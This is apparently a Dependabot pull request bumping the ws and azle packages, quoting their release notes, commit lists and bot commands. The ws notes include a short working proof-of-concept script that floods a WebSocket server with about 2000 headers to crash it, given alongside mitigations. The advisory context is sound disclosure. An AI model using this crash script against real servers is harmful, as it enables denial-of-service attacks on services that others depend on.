Bump ws and azle in /frontend

[dependabot]

Bumps ws to 8.17.1 and updates ancestor dependency azle. These dependencies need to be updated together.

Updates ws from 8.5.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Updates azle from 0.23.0 to 0.24.1

Release notes

Sourced from azle's releases.

0.24.1

0.24.0 had a major issue with the azle bin executable during dfx deploy, which required tsx to be globally installed. This issue has now been resolved.

What's Changed

• fix global tsx requirement issue for azle's bin by @​lastmjs in demergent-labs/azle#2078

Full Changelog: demergent-labs/azle@0.24.0...0.24.1

0.24.1-rc.4

No release notes provided.

0.24.1-rc.3

No release notes provided.

0.24.1-rc.2

No release notes provided.

0.24.1-rc.1

No release notes provided.

0.24.1-rc.0

No release notes provided.

0.24.0

Features

ic-cdk security vulnerability fixed

ic-cdk has been updated to address this vulnerability: GHSA-rwq6-crjg-9cpw

Stable memory file system

The file system available through fs is now automatically stored in stable memory. This means that upgrading your canister will not wipe your file system. You can store up to 100s of GiBs in one canister, limited by the current maximum stable memory size per canister and the current capacity and free space on the subnet your canister is deployed to.

Experimental flag

The experimental flag has been introduced when using experimental Azle features. If the flag is not set in the dfx.json file or --experimental added to CLI commands, an error will be thrown when using experimental features or experimental CLI commands.

Breaking Changes

1. The file system is no longer wiped after each upgrade, as it is stored in stable memory
2. Experimental features and CLI commands now throw an error if the experimental flag is not set (e.g. npx azle new [name] --http-server must now have the --experimental flag)
3. The --verbose and -v azle CLI options have been removed in favor of only using the AZLE_VERBOSE environment variable
4. All custom Azle properties in dfx.json are moved into the custom property
5. AZLE_WASMEDGE_QUICKJS_DIR environment variable has been removed
6. Running npx azle install-dfx-extension is no longer necessary. Devs must run npm install (or npm install azle) in the same directory as their package.json file before starting up a replica
7. node_modules/.bin/azle is now used instead of npx azle for Azle build command in the dfx extension.
8. azle compile [canister name] is now used instead of azle [canister name]
9. Wasm binary optimization no longer exists (e.g. opt_level in the dfx.json file)

... (truncated)

Commits

• a52c7d6 azle-bot automated release 0.24.1
• 285ddf2 release 0.24.1
• 762fd51 Merge pull request #2078 from demergent-labs/tsx_problem
• 2c524f8 fix global tsx requirement issue for azle's bin
• 4159b47 Merge pull request #2069 from demergent-labs/release--0.24.0
• 7c52ab2 azle-bot automated release 0.24.0
• 59798f1 update to 0.24.0
• d82fe37 Merge pull request #2066 from demergent-labs/smaller_large_file_tests
• 6827e59 reduce the max size of files we test for the file uploader until we can make ...
• d7804a8 Merge pull request #2062 from demergent-labs/release_fixes
• Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

---

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

• @dependabot rebase will rebase this PR
• @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
• @dependabot merge will merge this PR after your CI passes on it
• @dependabot squash and merge will squash and merge this PR after your CI passes on it
• @dependabot cancel merge will cancel a previously requested merge and block automerging
• @dependabot reopen will reopen this PR if it is closed
• @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
• @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
• @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
• @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
  You can disable automated security fix PRs for this repo from the Security Alerts page.